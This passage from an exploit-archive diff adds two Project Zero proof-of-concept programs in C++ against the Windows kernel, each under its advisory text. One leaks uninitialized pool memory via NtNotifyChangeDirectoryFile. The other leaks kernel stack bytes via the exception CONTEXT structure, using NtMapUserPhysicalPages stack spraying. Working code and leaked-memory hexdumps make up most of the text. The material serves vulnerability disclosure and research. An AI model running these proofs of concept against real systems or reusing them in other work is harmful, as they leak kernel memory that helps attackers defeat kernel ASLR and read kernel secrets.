CloseHandle(hDisk);
return 0;
}

110
platforms/windows/dos/42219.cpp Executable file
View file

@ -0,0 +1,110 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1169
We have discovered that the nt!NtNotifyChangeDirectoryFile system call discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.
On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a list of FILE_NOTIFY_INFORMATION structures [1]. If we map the above shadow bytes to the structure definition, it turns out that the uninitialized bytes correspond to the alignment hole between the end of the FileName string and the beginning of the adjacent FILE_NOTIFY_INFORMATION structure, if that string is of an odd length (and therefore not 4-byte aligned).
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: 10 00 00 00 04 00 00 00 02 00 00 00 62 00[91 91]............b...
00000010: 00 00 00 00 05 00 00 00 02 00 00 00 63 00 ?? ?? ............c...
--- cut ---
00000000: 10 00 00 00 04 00 00 00 02 00 00 00 62 00[3d 3d]............b.==
00000010: 00 00 00 00 05 00 00 00 02 00 00 00 63 00 ?? ?? ............c...
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
DWORD ThreadRoutine(LPVOID lpParameter) {
// Wait for the main thread to call ReadDirectoryChanges().
Sleep(500);
// Perform a filesystem operation which results in two records (FILE_ACTION_RENAMED_OLD_NAME and FILE_ACTION_RENAMED_NEW_NAME)
// being returned at once.
MoveFile(L"a\\b", L"a\\c");
return 0;
}
int main() {
// Create a local "a" directory.
if (!CreateDirectory(L"a", NULL)) {
printf("CreateDirectory failed, %d\n", GetLastError());
return 1;
}
// Open the newly created directory.
HANDLE hDirectory = CreateFile(L"a", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hDirectory == INVALID_HANDLE_VALUE) {
printf("CreateFile(a) failed, %d\n", GetLastError());
RemoveDirectory(L"a");
return 1;
}
// Create a new file in the "a" directory.
HANDLE hNewFile = CreateFile(L"a\\b", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hNewFile != INVALID_HANDLE_VALUE) {
CloseHandle(hNewFile);
}
// Create a new thread which will modify the directory (rename a file within).
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL);
// Wait for changes in the directory and read them into a 1024-byte buffer.
BYTE buffer[1024] = { /* zero padding */ };
DWORD BytesRead = 0;
if (!ReadDirectoryChangesW(hDirectory, buffer, sizeof(buffer), FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &BytesRead, NULL, NULL)) {
printf("ReadDirectoryChanges failed, %d\n", GetLastError());
DeleteFile(L"a\\c");
RemoveDirectory(L"a");
return 1;
}
// Dump the output on screen.
PrintHex(buffer, BytesRead);
// Free resources.
DeleteFile(L"a\\c");
RemoveDirectory(L"a");
return 0;
}

191
platforms/windows/dos/42220.cpp Executable file
View file

@ -0,0 +1,191 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1177
According to our tests, the generic exception dispatching code present in the Windows kernel (Windows 7-10) discloses portions of uninitialized kernel stack memory to user-mode clients via the CONTEXT structure set up for the ring-3 exception handlers.
The attached proof-of-concept program can be used to reproduce the issue. It works by first spraying a full page of the kernel stack with a 0x41 byte ('A') using the nt!NtMapUserPhysicalPages system call (see [1]), then also spraying a page of user-mode stack (to recognize any false-positives) with a 0x78 ('x') byte, followed by raising an exception with a RaiseException() call and dumping the contents of the CONTEXT structure provided to the unhandled exception filter function. After running the program, we should observe the 'A' byte on output in place of disclosed kernel memory.
On most tested platforms (Windows 7 64-bit, Windows 10 32/64-bit), running the 32-bit proof-of-concept program reveals 4 bytes of kernel stack memory at offset 0x88 of the structure. An example output is as follows:
--- cut ---
00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00[41 41 41 41]2b 00 00 00 ........AAAA+...
00000090: 53 00 00 00 2b 00 00 00 2b 00 00 00 50 fe 32 00 S...+...+...P.2.
000000a0: 84 fd 32 00 00 e0 fd 7e 00 00 00 00 85 3c 1d 59 ..2....~.....<.Y
000000b0: 1c fd 32 00 6c fd 32 00 4f c5 72 75 23 00 00 00 ..2.l.2.O.ru#...
000000c0: 46 02 00 00 1c fd 32 00 2b 00 00 00 7f 02 00 00 F.....2.+.......
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................
--- cut ---
Offset 0x88 of the CONTEXT structure on x86 corresponds to the 32-bit CONTEXT.FloatSave.Cr0NpxState field, which appears to remain in an uninitialized state before being copied to user-mode. We have tested that with the kernel stack spraying disabled, these bytes contain varying values originating from the kernel memory space.
On Windows 7 32-bit, we're observing a slightly different output:
--- cut ---
00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 3b 00 00 00 23 00 00 00 23 00 00 00 0c fe 2a 00 ;...#...#.....*.
000000a0: 40 fd 2a 00 00 f0 fd 7f 74 6c 8e 77 89 bb c8 38 @.*.....tl.w...8
000000b0: d8 fc 2a 00 28 fd 2a 00 5d 84 c3 75 1b 00 00 00 ..*.(.*.]..u....
000000c0: 46 02 00 00 d8 fc 2a 00 23 00 00 00 7f 02 00 00 F.....*.#.......
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
000002b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000002c0: 41 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? AAAAAAAAAAAA....
--- cut ---
Here, we can see that 32 bytes from the kernel stack are leaked at the end of the CONTEXT structure, which correspond to the last bytes of the CONTEXT.ExtendedRegisters array. We have confirmed that when the spraying function is not invoked, this memory region discloses valid kernel-mode pointers.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
VOID SprayUserStack() {
// Buffer allocated from the user-mode stack.
BYTE buffer[4096];
MyMemset(buffer, 'x', sizeof(buffer));
}
LONG WINAPI MyUnhandledExceptionFilter(
_In_ struct _EXCEPTION_POINTERS *ExceptionInfo
) {
PrintHex((PBYTE)ExceptionInfo->ContextRecord, sizeof(CONTEXT));
return EXCEPTION_CONTINUE_EXECUTION;
}
int main() {
SetUnhandledExceptionFilter(MyUnhandledExceptionFilter);
SprayKernelStack();
SprayUserStack();
RaiseException(1337, 0, 0, NULL);
return 0;
}